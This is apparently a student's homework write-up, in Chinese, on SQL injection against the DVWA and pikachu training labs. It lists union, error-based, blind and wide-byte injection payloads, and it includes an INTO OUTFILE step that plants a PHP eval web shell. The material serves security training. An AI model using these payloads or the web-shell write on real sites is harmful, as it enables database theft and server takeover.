写点什么

第七周作业

作者:大肚皮狒狒
  • 2024-02-17
    湖北
  • 本文字数:1562 字

    阅读完需:约 5 分钟

分别在前端和后端使用 Union 注入实现“dvwa 数据库 -user 表 - 字段 -first_name 数据”的注入过程,写清楚注入步骤。

后台注入 :selectuser_id,first_namefromuserswhereuser_id=1or1=1

前端注入 1' or 1=1 #



屏幕剪辑的捕获时间: 2023/10/6 18:58

 

在前端和后端使用报错注入实现“dvwa 数据库 -user 表 - 字段”的注入过程,写清楚注入步骤,并回答下列关于报错注入的问题:

后端注入:


前端注入:1,通过 1' and extractvalue(1,concat(0x7e,database()));#  得到:XPATH syntax error: '~dvwa'2,通过 1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())));#  得到 XPATH syntax error: '~2'3,通过1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)));#  得到 XPATH syntax error: '~users'4,后面通过前面的sql 语句依次找出列名称,用户名和密码


• 在 extractvalue 函数中,为什么’~'写在参数 1 的位置不报错,而写在参数 2 的位置报错?• 这个符号不是 xpath 的语法。• 报错注入中,为什么要突破单引号的限制,如何突破?• 需要把自己的sql 语句给拼接上。一般通过加单引号突破• 在报错注入过程中,为什么要进行报错,是哪种类型的报错?• 通过报错可以把信息给提取出来,是sql 的函数报错,语法报错。
复制代码

布尔盲注或者时间盲注在前端和后端实现“库名 - 表名 - 列名”的注入过程,写清楚注入步骤。


判断是否存在注入,注入的类型:1,输入 1' and 1=1 # 显示User ID exists in the database.2,输入 1' and 1=2 # 显示User ID is MISSING from the database.可知 漏洞存在。
判断数据库名称通过 1' and length(database())=4;# 为真,可以知道数据库名长度为4
然后猜每一个字母1' and ascii(substr(database(),1,1))=100;# exists通过字符分割加二分法可以知道数据库名称为 dvwa
猜测表的个数:1' and (select count(table_name) from information_schema.tables wheretable_schema=database())=2;#
猜测第一个表的字母长度。1' and length((select table_name from information_schema.tables wheretable_schema=database() limit 0,1))=9;#
通过相同的方法猜测表名称和列名1' and ascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1,1))>105;可知表名称为: guestbook 和users
猜测users 表中的字段数1' and (select count(column_name) from information_schema.columns wheretable_schema=database() and table_name='users')=8;# exists
然后猜出重要的列名 如: 用户名,密码1' and (select count(*) from information_schema.columns wheretable_schema=database() and table_name='users' and column_name='password')=1;
1' and (select count(*) from information_schema.columns wheretable_schema=database() and table_name='users' and column_name='user')=1;#

可知 字段名为 user ,password
复制代码

宽字节注入实现“库名 - 表名 - 列名”的注入过程,写清楚注入步骤。


通过 kobe 運' or extractvalue(1,concat(0x7e,database()));# 得到 XPATH syntax error: '~pikachu'

通过 kobe 運' or  extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())));#  得到

XPATH syntax error: '~5'


剩下的和题目二一样了。


SQL 注入实现 DVWA 站点的 Getshell,写清楚攻击步骤。

注入点注入


' union select 1,"<?php eval($_POST['a']);" into outfile'/var/www/html/shell2.php
访问 localhost:8080/shell2.php? 可以看到:
复制代码




用户头像

还未添加个人签名 2020-03-25 加入

还未添加个人简介

评论

发布
暂无评论
第七周作业_大肚皮狒狒_InfoQ写作社区